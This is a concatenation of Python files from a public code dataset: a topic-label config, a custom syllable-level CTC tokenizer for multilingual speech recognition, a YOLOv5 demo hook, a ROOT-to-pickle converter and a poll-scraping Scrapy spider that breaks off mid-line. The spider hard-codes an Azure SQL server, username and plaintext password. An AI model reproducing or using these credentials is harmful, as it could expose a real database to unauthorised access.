'topic_35': 'Life cycle and reproduction',\n 'topic_36': 'Imaging-artery',\n 'topic_37': 'Food-consumption',\n 'topic_38': 'Genetic expression',\n 'topic_39': 'Sex and selection',\n 'topic_40': 'Cytology',\n 'topic_41': 'Malaria-parasite',\n 'topic_42': 'Cancer',\n 'topic_43': 'Infection resistance',\n 'topic_44': 'Maternity',\n 'topic_45': 'Muscle-motion',\n 'topic_46': 'Literature review',\n 'topic_47': 'Therapy',\n 'topic_48': 'Prognostic',\n 'topic_49': 'Medical training',\n 'topic_50': 'Cattle',\n 'topic_51': 'Cognitive performance',\n 'topic_52': 'Protein domain',\n 'topic_53': 'Cardiovascular conditions',\n 'topic_54': 'Method-model',\n 'topic_55': 'Change-effect',\n 'topic_56': 'Score-measure',\n 'topic_57': 'Surgery',\n 'topic_58': 'Healthcare',\n 'topic_59': 'Antibody-protein',\n 'topic_60': 'Cancer-tumor',\n 'topic_61': 'Respiratory',\n 'topic_62': 'Patient mortality',\n 'topic_63': 'Drug-treatment',\n 'topic_64': 'Diabetes',\n 'topic_65': 'Genetic expression rna',\n 'topic_66': 'Database-software',\n 'topic_67': 'Oxidative stress',\n 'topic_68': 'Immunology',\n 'topic_69': 'Clinical trials',\n 'topic_70': 'Diagnosis',\n 'topic_71': 'Loss-gain',\n 'topic_72': 'Brain',\n 'topic_73': 'Costs',\n 'topic_74': 'Genetic markers and traits',\n 'topic_75': 'Water-uptake',\n 'topic_76': 'Genetic sequence',\n 'topic_77': 'Childhood',\n 'topic_78': 'Genetic mutation',\n 'topic_79': 'Timelaps', }\n","repo_name":"PolycarpeLeGrand/Mempy4","sub_path":"mempy4/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24303495634","text":"import json\nimport os\nimport sys\nfrom itertools import groupby\nfrom typing import Any, Dict, List, Optional, Tuple, Union\nimport re\nfrom transformers.file_utils import requires_backends\nfrom transformers.tokenization_utils import PreTrainedTokenizer, _insert_one_token_to_ordered_list\nfrom transformers.tokenization_utils_base import AddedToken\nfrom transformers.utils import (ModelOutput,\n is_flax_available,\n is_tf_available,\n is_torch_available,\n logging,\n requires_backends,\n to_py_obj,\n)\n\n\nlogger = logging.get_logger(__name__)\n\n\n\nVOCAB_FILES_NAMES = { \n \"vocab_file\": \"vocab.json\", \n \"tokenizer_config_file\": \"tokenizer_config.json\", \n}\n\nPRETRAINED_VOCAB_FILES_MAP = {\n \"vocab_file\": { \n \"facebook/wav2vec2-lv-60-espeak-cv-ft\": \"https://huggingface.co/facebook/wav2vec2-lv-60-espeak-cv-ft/resolve/main/vocab.json\",\n },\n \"tokenizer_config_file\": { \n \"facebook/wav2vec2-lv-60-espeak-cv-ft\": \"https://huggingface.co/facebook/wav2vec2-lv-60-espeak-cv-ft/resolve/main/tokenizer_config.json\",\n },\n}\n\n# Wav2Vec2Phoneme has no max input length\nPRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {\"facebook/wav2vec2-lv-60-espeak-cv-ft\": sys.maxsize}\n\n\nclass HybridML_ITESFRPhoSylCTCTokenizer(PreTrainedTokenizer):\n\n \"\"\"\n Constructs a Wav2Vec2PhonemeCTC tokenizer.\n This tokenizer inherits from [`PreTrainedTokenizer`] which contains some of the main methods. Users should refer to\n the superclass for more information regarding such methods.\n Args:\n vocab_file (`str`):\n File containing the vocabulary.\n bos_token (`str`, *optional*, defaults to `\"\"`):\n The beginning of sentence token.\n eos_token (`str`, *optional*, defaults to `\"\"`):\n The end of sentence token.\n unk_token (`str`, *optional*, defaults to `\"\"`):\n The unknown token. A token that is not in the vocabulary cannot be converted to an ID and is set to be this\n token instead.\n pad_token (`str`, *optional*, defaults to `\"\"`):\n The token used for padding, for example when batching sequences of different lengths.\n do_phonemize (`bool`, *optional*, defaults to `True`):\n Whether the tokenizer should phonetize the input or not. Only if a sequence of phonemes is passed to the\n tokenizer, `do_phonemize` should be set to `False`.\n phonemizer_lang (`str`, *optional*, defaults to `\"en-us\"`):\n The language of the phoneme set to which the tokenizer should phonetize the input text to.\n phonemizer_backend (`str`, *optional*. defaults to `\"espeak\"`):\n The backend phonetization library that shall be used by the phonemizer library. Defaults to `espeak-ng`.\n See the [phonemizer package](https://github.com/bootphon/phonemizer#readme). for more information.\n **kwargs\n Additional keyword arguments passed along to [`PreTrainedTokenizer`]\n \"\"\"\n\n vocab_files_names = VOCAB_FILES_NAMES\n pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP\n max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES\n model_input_names = [\"input_ids\", \"attention_mask\"]\n\n def __init__(\n self,\n vocab_file,\n bos_token=\"\",\n eos_token=\"\",\n unk_token=\"\",\n pad_token=\"\",\n phone_delimiter_token=\" \",\n word_delimiter_token=\" | \",\n do_phonemize=False, \n phonemizer_lang=\"it\", \n phonemizer_backend=\"espeak\",\n do_wb_format = True, ### added function to get the text in the roght format\n **kwargs\n ):\n super().__init__(\n unk_token=unk_token,\n bos_token=bos_token,\n eos_token=eos_token,\n pad_token=pad_token,\n word_delimiter_token=word_delimiter_token,\n phone_delimiter_token=phone_delimiter_token,\n do_phonemize=do_phonemize, \n phonemizer_lang=phonemizer_lang,\n phonemizer_backend=phonemizer_backend,\n do_wb_format = do_wb_format, ### added\n **kwargs,\n )\n\n self._word_delimiter_token = word_delimiter_token\n self._phone_delimiter_token = phone_delimiter_token\n self.do_phonemize = do_phonemize\n self.do_wb_format = do_wb_format ### added\n self.phonemizer_lang = phonemizer_lang\n self.phonemizer_backend = phonemizer_backend\n\n with open(vocab_file, encoding=\"utf-8\") as vocab_handle:\n self.encoder = json.load(vocab_handle)\n self.decoder = {v: k for k, v in self.encoder.items()}\n\n @property\n def vocab_size(self) -> int:\n return len(self.decoder)\n\n def get_vocab(self) -> Dict:\n return dict(self.encoder, **self.added_tokens_encoder)\n\n def prepare_for_tokenization(\n self,\n text: str,\n is_split_into_words: bool = True,\n phonemizer_lang: Optional[str] = None,\n do_phonemize: Optional[bool] = None,\n do_wb_format: bool = True, ### added\n ) -> Tuple[str, Dict[str, Any]]:\n \"\"\"\n Performs any necessary transformations before tokenization.\n This method should pop the arguments from kwargs and return the remaining `kwargs` as well. We test the\n `kwargs` at the end of the encoding process to be sure all the arguments have been used.\n Args:\n text (`str`):\n The text to prepare.\n is_split_into_words (`bool`, *optional*, defaults to `False`):\n Whether or not the input is already pre-tokenized (e.g., split into words). If set to `True`, the\n tokenizer assumes the input is already split into words (for instance, by splitting it on whitespace)\n which it will tokenize. This is useful for NER or token classification.\n phonemizer_lang (`str`, *optional*):\n The language of the phoneme set to which the tokenizer should phonetize the input text to.\n do_phonemize (`bool`, *optional*):\n Whether the tokenizer should phonetize the input text or not. Only if a sequence of phonemes is passed\n to the tokenizer, `do_phonemize` should be set to `False`.\n Returns:\n `Tuple[str, Dict[str, Any]]`: The prepared text and the unused kwargs.\n \"\"\"\n if is_split_into_words:\n text = \" \" + text\n\n \n\n if do_wb_format is not None: ### added\n # print('entered wb_format')\n self.do_wb_format = do_wb_format\n\n # set whether tokenizer should phonemize or not\n\n if do_phonemize is not None:\n self.do_phonemize = do_phonemize\n\n # set the correct phonemizer language\n if phonemizer_lang is not None:\n self.phonemizer_lang = phonemizer_lang\n\n return (text, {})\n\n def _tokenize(self, text, **kwargs):\n \"\"\"\n Converts a string in a sequence of tokens (string), using the tokenizer.\n \"\"\"\n\n # make sure whitespace is stripped to prevent \n text = text.strip()\n # print('_tokenize_funct: ', text) \n\n # phonemize\n if self.do_phonemize:\n text = text.lower()\n\n # create list of phonemes\n text = self.phonemize(text, self.phonemizer_lang)\n\n if self.do_wb_format: ### added\n text = self.wb_format(text)\n\n # make sure ' ' is between phonemes\n tokens = text.split(\" \") \n \n tokens = list(filter(lambda p: p.strip() != \"\", tokens))\n return tokens\n\n\n def wb_format(self, text: str) -> str: ### added function\n MLTnucleus = ['a', 'e', 'o', 'i', 'u', '@', 'E', 'O', 'y', '2', '9', 'A', 'e~', 'a~', 'o~', '9~']\n\n MLTphoClasses = {'e': 0, 'i': 0, 'o': 0,'u': 0, 'a': 0, '@': 0, 'E':0, 'O':0, 'y':0, '2':0, '9':0, # vowels\n 'A':0, 'e~':0, 'a~':0, 'o~':0, '9~':0, '~': 11,\n 'j': 1, 'w': 1, 'H':1,\n 'r': 2, 'R': 2,\n 'l': 3,'L': 3,\n 'm': 4, 'n': 4, 'J': 4, 'N': 4,\n 's': 5, 'z': 5,\n 'v': 6, 'f': 6,\n 'B': 7, 'D': 7, 'G': 7, 'Z': 7, 'S': 7, 'T': 7, 'x': 7, 'X': 7,\n 'ddz': 8, 'dz': 8, 'ts': 8, 'tts': 8, 'ddZ' : 8, 'dZ' : 8, 'tS' : 8, 'ttS' : 8,\n 'b': 9, 'd': 9, 'g': 9, 'k': 9, 'p': 9,'t': 9}\n \n\n # set the word separator\n\n listlist = [ ]\n\n # print('splitting sent') # words in list to avoid syllabification outside word boundaries\n\n splitted_sent = text.split(\" \")\n\n word_delimiter_tok = self.word_delimiter_token + ' '\n pho_delimiter_tok = self.phone_delimiter_token\n\n #### EXAMPLE ------------------- 'nessun lavoro sErjo di applikattsjone E denari in abbondantsa'\n\n splitted_sent = text.split(pho_delimiter_tok)\n # print('splitted_sent:', splitted_sent) ### --------------- ['nessun', 'lavoro', 'sErjo', 'di', 'applikattsjone', 'E', 'denari', 'in', 'abbondantsa']\n \n raw_MOP_sent = [ ] # splits after each vowel\n\n for item in splitted_sent: # sillabification starts here\n\n raw_MOP_w = \"\"\n\n for seg in item:\n if seg in MLTnucleus:\n raw_MOP_w += seg + ' '\n elif seg == '~':\n raw_MOP_w = raw_MOP_w[ :-1] + '~' + ' '\n \n # print('raw_MOP~', raw_MOP_w)\n\n else:\n raw_MOP_w += seg\n \n raw_MOP_sent.append(raw_MOP_w.strip())\n\n # print('raw MOP___: ', raw_MOP_sent) \n\n\n # syllables in list to check if they're valid or violate SSP\n\n for i, rawSyl_w in enumerate(raw_MOP_sent):\n raw_MOP_sent_list = rawSyl_w.split(pho_delimiter_tok)\n # print('word to check ', i, raw_MOP_sent_list) ### --------------- 0 ['ne', 'ssu', 'n']\n\n\n # SSP check\n\n \"\"\"every segment is mappend into a class tht has a numeric ID according to the sonority.\n Onset segments of the syllables of the rough MOP tokenization are asigned with a sonority ID\n that is appended to a list; if the list matches with one of the allowed combinatios the syllable\n is valid (SSP = True), otherwise the problematic onsets that violates the SSP are appended as coda of the previous syllable\"\"\"\n\n ok_MOP_sent = [ ]\n\n\n SSP_allowed = [[1, 0], [2, 0], [3, 0], [4, 0], [5, 0], [6, 0], [7, 0], [8, 0], [9, 0], # CV\n [1, 0, 11], [2, 0, 11], [3, 0, 11], [4, 0, 11], [5, 0, 11], [6, 0, 11], # CV~\n [7, 0, 11], [8, 0, 11], [9, 0, 11], [5, 1, 0, 11], [5, 1, 0], # CV~ \n [2, 2], [3, 3], [4, 4], [5, 5], [6, 6], [7, 7], [8, 8], [9, 9], # geminates\n [9 ,9, 3] ,[9 ,9, 2], # geminates + liquids \n [2, 1], [3, 1], [4, 1], [5, 1], [6, 1], [7, 1], [8, 1], [9, 1],# everything + approximants\n [5, 2], [6, 2], [7, 2], [9, 2], # fric plosives + /r/ # ------------------- ok \n [5, 3], [6, 3], [7, 3], [9, 3], # fric, plosives + /l/ # ------------------- ok \n [5, 4], [7, 4], [9, 4], # + nasali - con le plosive ci sono eccezioni tolto [8, 4] - pneumatico\n [9, 5], # + /s/ /z/ - con le plosive ci sono eccezioni psicologo\n [7, 6], [7, 9, 2], [8, 6], # + /S/ /Z/ - con le plosive ci sono eccezioni \n [5, 9], [5, 6], # s impura\n [5, 6, 1], [5, 6, 2], [5, 6, 3], [5, 9, 1], [5, 9, 2], [5, 9, 3], # s impura + CC --------- ok\n [5, 6, 2, 1], [5, 6, 3, 1], [5, 9, 2, 1], [5, 9, 3, 1], # s impura + CC + glide --------- ok\n [9, 9, 5], [9, 9, 6], [9, 9, 5, 1], [9, 9, 6, 1], \n [9, 5, 9], [6, 9]] # per gestire affricate\n\n\n current_syl = '' \n\n for i, syl in enumerate(raw_MOP_sent_list):\n seg_class = [ ] \n onset = syl[:-1]\n\n if len(onset) > 1:\n for ch in onset:\n seg_class.append(MLTphoClasses[ch]) ###class del carattere\n \n if seg_class in SSP_allowed:\n MOP_ok = True\n else:\n MOP_ok = False \n\n else:\n MOP_ok = True # if the onset is only one C it is always legit\n \n ok_MOP_sent.append([syl, MOP_ok])\n\n\n\n # print('ok_MOP_sent: ', ok_MOP_sent) \n \n\n\n # fixing syl that violate the MOP\n\n\n final_syl_sent = [ ]\n\n current_syl = None\n\n for i, syl_MOP in enumerate(ok_MOP_sent):\n if syl_MOP[1] == True:\n current_syl = syl_MOP[0]\n final_syl_sent.append(current_syl) \n\n if syl_MOP[1] == False:\n try:\n prev_syll = final_syl_sent[-1]\n probl = syl_MOP[0][0] \n prev_syll = prev_syll+probl\n final_syl_sent.pop()\n final_syl_sent.append(prev_syll)\n\n ok_syl = syl_MOP[0].replace(probl, \"\")\n current_syl = ok_syl\n final_syl_sent.append(current_syl)\n \n except IndexError: # fixes if onset is unseparable consonants(exceptions, names)\n current_syl = syl_MOP[0]\n final_syl_sent.append(current_syl)\n\n \n \n if len(final_syl_sent[-1]) == 1 and final_syl_sent[-1] not in MLTnucleus: # fixes if last syllable is a consonant alone\n probl_coda = final_syl_sent[-1]\n try:\n final_syl_sent.pop()\n last_s = final_syl_sent[-1]\n final_syl_sent.pop()\n fixed_last = last_s + probl_coda\n final_syl_sent.append(fixed_last)\n except IndexError:\n # print('i have a problem with', probl_coda)\n if probl_coda in 'dl': #\n final_syl_sent.append(probl_coda) #\n else: \n final_syl_sent.append(probl_coda+'e') #\n \n\n if final_syl_sent[-1] not in 'dl' and not any(substring in final_syl_sent[-1] for substring in MLTnucleus):\n \n last_Csyl = final_syl_sent[-1]\n # print(' ---------- CHECK PROBLEM: last_Csyl', last_Csyl) ##### added 3/01\n \n ### added -------------------\n\n try:\n\n final_syl_sent.pop()\n last_s = final_syl_sent[-1]\n\n final_syl_sent.pop()\n fixed_last = last_s + last_Csyl\n\n final_syl_sent.append(fixed_last)\n\n except IndexError:\n print('index error for :', last_Csyl)\n pass\n\n\n\n else:\n pass\n\n\n #print('final_syl_sent before vocab check____:', final_syl_sent)\n\n final_syl_hybr = [ ]\n\n for sillabified_w in final_syl_sent:\n if sillabified_w in self.encoder:\n #print('im a freq syllable', sillabified_w )\n final_syl_hybr.append(sillabified_w)\n else:\n # print('ops, gotta get the phonemes', sillabified_w)\n str_space = pho_delimiter_tok.join(sillabified_w)\n\n # let's manage the affricates to keep the chr together\n if \"d d z\" in str_space:\n str_space = str_space.replace(\"d d z\", 'ddz')\n else:\n str_space = str_space\n if \"d d Z\" in str_space:\n str_space = str_space.replace(\"d d Z\", 'ddZ')\n else:\n str_space = str_space \n if \"d z\" in str_space:\n str_space = str_space.replace(\"d z\", 'dz')\n else:\n str_space = str_space \n if \"d Z\" in str_space:\n str_space = str_space.replace(\"d Z\", 'dZ')\n else:\n str_space = str_space \n if \"t t s\" in str_space:\n str_space = str_space.replace(\"t t s\", 'tts')\n else:\n str_space = str_space \n if \"t t S\" in str_space:\n str_space = str_space.replace(\"t t S\", 'ttS')\n else:\n str_space = str_space \n\n if \"t s\" in str_space:\n str_space = str_space.replace(\"t s\", 'ts')\n else:\n str_space = str_space \n if \"t S\" in str_space:\n str_space = str_space.replace(\"t S\", 'tS')\n else:\n str_space = str_space \n\n\n if \"a ~\" in str_space:\n str_space = str_space.replace(\"a ~\", 'a~')\n else:\n str_space = str_space \n if \"o ~\" in str_space:\n str_space = str_space.replace(\"o ~\", 'o~')\n else:\n str_space = str_space \n\n if \"e ~\" in str_space:\n str_space = str_space.replace(\"e ~\", 'e~')\n else:\n str_space = str_space \n if \"9 ~\" in str_space:\n str_space = str_space.replace(\"9 ~\", '9~')\n else:\n str_space = str_space \n\n final_syl_hybr.append(str_space)\n\n\n\n syl_w_str = pho_delimiter_tok.join(final_syl_hybr) # word as string with space-separated syllables\n #print('syl_w_str_________', syl_w_str)\n \n\n\n ## FINAL PART\n \n listlist.append(syl_w_str+' '+ word_delimiter_tok)\n \n #print('listlist___', listlist)\n text = ''.join(listlist)\n #print('tokenized_text___', text, type(text))\n return text\n\n\n\n def phonemize(self, text: str, phonemizer_lang: Optional[str] = None) -> str: ############################ this won't be called\n requires_backends(self, \"phonemizer\")\n\n from phonemizer import phonemize\n from phonemizer.separator import Separator\n\n word_delimiter = self.word_delimiter_token + \" \" if self.word_delimiter_token is not None else \"\"\n phonemizer_lang = phonemizer_lang if phonemizer_lang is not None else self.phonemizer_lang\n\n separator = Separator(phone=self.phone_delimiter_token, word=word_delimiter, syllable=\"\")\n phonemes = phonemize(\n text,\n language=phonemizer_lang,\n backend=self.phonemizer_backend,\n separator=separator,\n language_switch=\"remove-flags\",\n )\n phonemes = phonemes.strip()\n\n return phonemes\n\n @property\n def word_delimiter_token(self) -> str:\n \"\"\"\n `str`: Word delimiter token. Log an error if used while not having been set.\n \"\"\"\n if self._word_delimiter_token is None and self.verbose:\n return None\n return str(self._word_delimiter_token)\n\n @property\n def word_delimiter_token_id(self) -> Optional[int]:\n \"\"\"\n `Optional[int]`: Id of the word_delimiter_token in the vocabulary. Returns `None` if the token has not been\n set.\n \"\"\"\n if self._word_delimiter_token is None:\n return None\n return self.convert_tokens_to_ids(self.word_delimiter_token)\n\n @word_delimiter_token.setter\n def word_delimiter_token(self, value):\n self._word_delimiter_token = value\n\n @word_delimiter_token_id.setter\n def word_delimiter_token_id(self, value):\n self._word_delimiter_token = self.convert_tokens_to_ids(value)\n\n @property\n def phone_delimiter_token(self) -> str:\n \"\"\"\n `str`: Word delimiter token. Log an error if used while not having been set.\n \"\"\"\n if self._phone_delimiter_token is None and self.verbose:\n logger.error(\"Using phone_delimiter_token, but it is not set yet.\")\n return None\n return str(self._phone_delimiter_token)\n\n @property\n def phone_delimiter_token_id(self) -> Optional[int]:\n \"\"\"\n `Optional[int]`: Id of the phone_delimiter_token in the vocabulary. Returns `None` if the token has not been\n set.\n \"\"\"\n if self._phone_delimiter_token is None:\n return None\n return self.convert_tokens_to_ids(self.phone_delimiter_token)\n\n @phone_delimiter_token.setter\n def phone_delimiter_token(self, value):\n self._phone_delimiter_token = value\n\n @phone_delimiter_token_id.setter\n def phone_delimiter_token_id(self, value):\n self._phone_delimiter_token = self.convert_tokens_to_ids(value)\n\n def _convert_token_to_id(self, token: str) -> int:\n \"\"\"Converts a token (str) in an index (integer) using the vocab.\"\"\"\n return self.encoder.get(token, self.encoder.get(self.unk_token))\n\n def _convert_id_to_token(self, index: int) -> str:\n \"\"\"Converts an index (integer) in a token (str) using the vocab.\"\"\"\n result = self.decoder.get(index, self.unk_token)\n return result\n\n def convert_tokens_to_string(\n self,\n tokens: List[str],\n group_tokens: bool = True,\n spaces_between_special_tokens: bool = False,\n filter_word_delimiter_token: bool = True,\n ) -> str:\n \"\"\"\n Converts a connectionist-temporal-classification (CTC) output tokens into a single string.\n \"\"\"\n # group same tokens into non-repeating tokens in CTC style decoding\n if group_tokens:\n tokens = [token_group[0] for token_group in groupby(tokens)]\n\n # filter self.pad_token which is used as CTC-blank token\n filtered_tokens = list(filter(lambda token: token != self.pad_token, tokens))\n\n # also filter self.word_delimiter_token if not not\n if filter_word_delimiter_token and self.word_delimiter_token is not None:\n filtered_tokens = list(filter(lambda token: token != self.word_delimiter_token, filtered_tokens))\n\n string = \" \".join(filtered_tokens).strip()\n\n return string\n\n def _decode(\n self,\n token_ids: List[int],\n skip_special_tokens: bool = False,\n clean_up_tokenization_spaces: bool = True,\n group_tokens: bool = True,\n filter_word_delimiter_token: bool = True,\n spaces_between_special_tokens: bool = False,\n ) -> str:\n \"\"\"\n special _decode function is needed for Wav2Vec2PhonemeTokenizer because added tokens should be treated exactly\n the same as tokens of the base vocabulary and therefore the function `convert_tokens_to_string` has to be\n called on the whole token list and not individually on added tokens\n \"\"\"\n filtered_tokens = self.convert_ids_to_tokens(token_ids, skip_special_tokens=skip_special_tokens)\n\n result = []\n for token in filtered_tokens:\n if skip_special_tokens and token in self.all_special_ids:\n continue\n result.append(token)\n\n text = self.convert_tokens_to_string(\n result,\n group_tokens=group_tokens,\n spaces_between_special_tokens=spaces_between_special_tokens,\n filter_word_delimiter_token=filter_word_delimiter_token,\n )\n\n if clean_up_tokenization_spaces:\n clean_text = self.clean_up_tokenization(text)\n return clean_text\n else:\n return text\n\n def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:\n if not os.path.isdir(save_directory):\n logger.error(f\"Vocabulary path ({save_directory}) should be a directory\")\n return\n vocab_file = os.path.join(\n save_directory, (filename_prefix + \"-\" if filename_prefix else \"\") + VOCAB_FILES_NAMES[\"vocab_file\"]\n )\n\n with open(vocab_file, \"w\", encoding=\"utf-8\") as f:\n f.write(json.dumps(self.encoder, ensure_ascii=False))\n\n return (vocab_file,)\n\n def _add_tokens(self, new_tokens: Union[List[str], List[AddedToken]], special_tokens: bool = False) -> int:\n \"\"\"\n Add a list of new tokens to the tokenizer class. If the new tokens are not in the vocabulary, they are added to\n it with indices starting from length of the current vocabulary.\n Args:\n new_tokens (`List[str]`or `List[tokenizers.AddedToken]`):\n Token(s) to add in vocabulary. A token is only added if it's not already in the vocabulary (tested by\n checking if the tokenizer assign the index of the `unk_token` to them).\n special_tokens (`bool`, *optional*, defaults to `False`):\n Whether or not the tokens should be added as special tokens.\n Returns:\n `int`: The number of tokens actually added to the vocabulary.\n Examples:\n ```python\n # Let's see how to increase the vocabulary of Bert model and tokenizer\n tokenizer = Wav2Vec2PhonemeCTCTokenizer.from_pretrained(\"facebook/wav2vec2-lv-60-espeak-cv-ft\")\n model = Wav2Vec2PhonemeForCTC.from_pretrained(\"facebook/wav2vec2-lv-60-espeak-cv-ft\")\n num_added_toks = tokenizer.add_tokens([\"new_tok1\", \"my_new-tok2\"])\n print(\"We have added\", num_added_toks, \"tokens\")\n # Note: resize_token_embeddings expects to receive the full size of the new vocabulary, i.e. the length of the tokenizer.\n model.resize_token_embeddings(len(tokenizer))\n ```\"\"\"\n new_tokens = [str(tok) for tok in new_tokens]\n\n tokens_to_add = []\n for token in new_tokens:\n if not isinstance(token, str):\n raise ValueError(f\"Token {token} has to be of type string, but is \" f\"of type {type(token)}.\")\n assert isinstance(token, str)\n if (\n token != self.unk_token\n and self.convert_tokens_to_ids(token) == self.convert_tokens_to_ids(self.unk_token)\n and token not in tokens_to_add\n ):\n tokens_to_add.append(token)\n if self.verbose:\n logger.info(f\"Adding {token} to the vocabulary\")\n\n added_tok_encoder = dict((tok, len(self) + i) for i, tok in enumerate(tokens_to_add))\n added_tok_decoder = {v: k for k, v in added_tok_encoder.items()}\n self.added_tokens_encoder.update(added_tok_encoder)\n self.added_tokens_decoder.update(added_tok_decoder)\n\n # Make sure we don't split on any special tokens (even they were already in the vocab before)\n for token in tokens_to_add:\n if len(token) > 1:\n self._additional_special_tokens.append(AddedToken(token))\n _insert_one_token_to_ordered_list(self.unique_no_split_tokens, token)\n\n self._create_trie(self.unique_no_split_tokens)\n\n return len(tokens_to_add)","repo_name":"saraPicc/multilingual-asr-syllables","sub_path":"CustomML_ITESFRPhoSylCTCTokenizer.py","file_name":"CustomML_ITESFRPhoSylCTCTokenizer.py","file_ext":"py","file_size_in_byte":26492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40827939586","text":"# -*coding=utf-8\n\"\"\"\n自定义脚本,\n每次检测都将触发执行此文件内的代码, 并提供名为\"data_api\"的接口, 使用print(data_api.help)来获取帮助\n阻塞主线程,\n自动import自定义脚本文件根目录下的模块和包, 也可以自行sys.path.append,\n此文件位于./need/self_demo.py\n\"\"\"\n\n\n# ----------\n# 若未定义data_api, 则先使用假数据初始化data_api, 供测试用, 可删除此部分\nif 'data_api' not in locals().keys():\n class API(object):\n pass\n data_api = API()\n data_api.res_data = {'person': {'num': 2, 'score': [0.93594641, 0.85145649, ]},\n 'bottle': {'num': 1, 'score': [0.79432157, ]}}\n\n\n# ----------\n# 自定义脚本示例1.\ndef myPrint(*sth):\n print(*sth)\n\nif 'person' in data_api.res_data:\n myPrint(f\"{data_api.res_data['person']['num']} person in the picture now\")\n\n\n# ----------\n# 自定义脚本示例2.\nimport threading, time\n\nclass ExampleThread(threading.Thread):\n def __init__(self):\n super().__init__(name='example_thread', daemon=True)\n\n def run(self):\n print(data_api.res_data)\n time.sleep(10) # 在此处理耗时长的逻辑而不阻塞主线程\n\ndef startThread():\n for i in threading.enumerate():\n if i.name == 'example_thread':\n return\n ExampleThread().start()\n\nstartThread()\n","repo_name":"xun-xh/yolov5-onnx-pyqt-exe","sub_path":"need/self_demo.py","file_name":"self_demo.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"zh","doc_type":"code","stars":53,"dataset":"github-code","pt":"72"} +{"seq_id":"37251261874","text":"import uproot\nimport os\nimport pickle\nCATEGORIES = [\"e- single\", \"kaon+ single\", \"pi+ single\", \"proton single\"]\ndirectory = os.path.expanduser(\"~/Desktop/rich-detector-analysis/data/eventData\")\nfor filename in os.listdir(directory):\n if os.path.isfile(os.path.join(directory, filename)) and filename.endswith('.root') and \\\n filename.startswith('single'):\n file = uproot.open(os.path.join(directory, filename))\n tree = file['events']\n branches = tree.arrays()\n name = filename.split('.')\n y_list = branches['DRICHHits.position.y'].tolist()\n x_list = branches['DRICHHits.position.x'].tolist()\n z_list = branches['DRICHHits.position.z'].tolist()\n for i in range(len(y_list)):\n l = list(map(list, zip(x_list[i], y_list[i])))\n pickle_out = open(os.path.join(directory, 'featureData/' + name[1] + ' ' + name[0] + '/'\n + name[1] + '.' + name[2] + '.' + str(i) + '.pickle'), 'wb')\n pickle.dump(l, pickle_out)\n pickle_out.close()\n\n","repo_name":"Jesse-Campbell/dRichNNs","sub_path":"data processors/rootToFeatures.py","file_name":"rootToFeatures.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74204984554","text":"import scrapy\nimport datetime as dt\nimport pyodbc\nfrom twisted.internet import reactor\nfrom scrapy.crawler import CrawlerProcess, CrawlerRunner\n\nsql_name = 'sonntagspredictor'\nsql_pw = 'das_ist_EiN_sICHe_res_PasSworD_!'\n\n# set defaults for azure sql datbse\nserver = 'sonntagsfrage-server.database.windows.net'\ndatabase = 'sonntagsfrage-sql-db'\nusername = sql_name\npassword = sql_pw\ndriver = '{ODBC Driver 17 for SQL Server}'\n\n# open connection\nconn = pyodbc.connect(\n 'DRIVER=' + driver + ';SERVER=' + server + ';PORT=1433;DATABASE=' + database + ';UID=' + username + ';PWD=' + password)\ncursor = conn.cursor()\n\n\n# define spider\nclass UmfrageerbegnisseSpider(scrapy.Spider):\n name = \"umfrageergebnisse\"\n\n def start_requests(self):\n urls = [\n # 'https://www.wahlrecht.de/umfragen/dimap/1998.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/1999.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2000.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2001.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2002.htm',\n 'https://www.wahlrecht.de/umfragen/dimap/2003.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2004.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2005.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2006.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2007.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2008.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap/2013.htm',\n # 'https://www.wahlrecht.de/umfragen/dimap.htm'\n ]\n for url in urls:\n yield scrapy.Request(url=url, callback=self.parse)\n\n def parse(self, response):\n # page = response.url.split(\"/\")[-2]\n s_timestamp = str(dt.datetime.now()).replace(':', '-')\n filename = 'umfrageergebnisse-%s.csv' % s_timestamp\n\n # set defaults\n sep = ','\n\n # extract relevant data\n # parties_description = response.xpath('//td[@id=\"abkuerzungen-parteien\"]//span/text()').getall()\n # parties_voted_old = response.xpath('//thead//a/text()').getall()\n parties_voted = response.xpath('//thead//th[@class=\"part\"]//text()').getall()\n colname_other_parties = response.xpath('//thead//a[@href=\"#fn-son\"]//text()').getall()\n if colname_other_parties == '': colname_other_parties = 'Sonstige'\n colname_people_asked = response.xpath('//thead//th[@class=\"befr\"]/text()').getall()\n if colname_people_asked == '': colname_people_asked = 'Befragte'\n colname_time_from_to = response.xpath('//thead//th[@class=\"dat2\"]/text()').getall()\n if colname_time_from_to == '': colname_time_from_to = 'Zeitraum'\n\n # clean up for CDU/CSU\n parties_voted_fixed = self.clean_for_double_party_names(parties_voted)\n parties_voted_fixed = [party.replace('/', '_').replace('.', '_') for party in parties_voted_fixed]\n if parties_voted_fixed[-1] == 'Sonstige':\n parties_voted_fixed = parties_voted_fixed[:-1]\n nb_parties = len(parties_voted_fixed) + 1\n\n # create haeder for csv-file with all col_names\n colname_date_published = ['Datum']\n header_array = colname_date_published + parties_voted_fixed + colname_other_parties + colname_people_asked + colname_time_from_to\n header_string = sep.join(header_array)\n header_string = self.clean_umlaute(header_string)\n\n # crawl the actual data\n table_selctor = '//tbody//tr'\n table = response.xpath(table_selctor)\n\n for rows in table:\n # start the data-string with the publishing date\n date_selector = 'td[1]//text()'\n date = rows.xpath(date_selector).get()\n data_string = \"'\" + date + 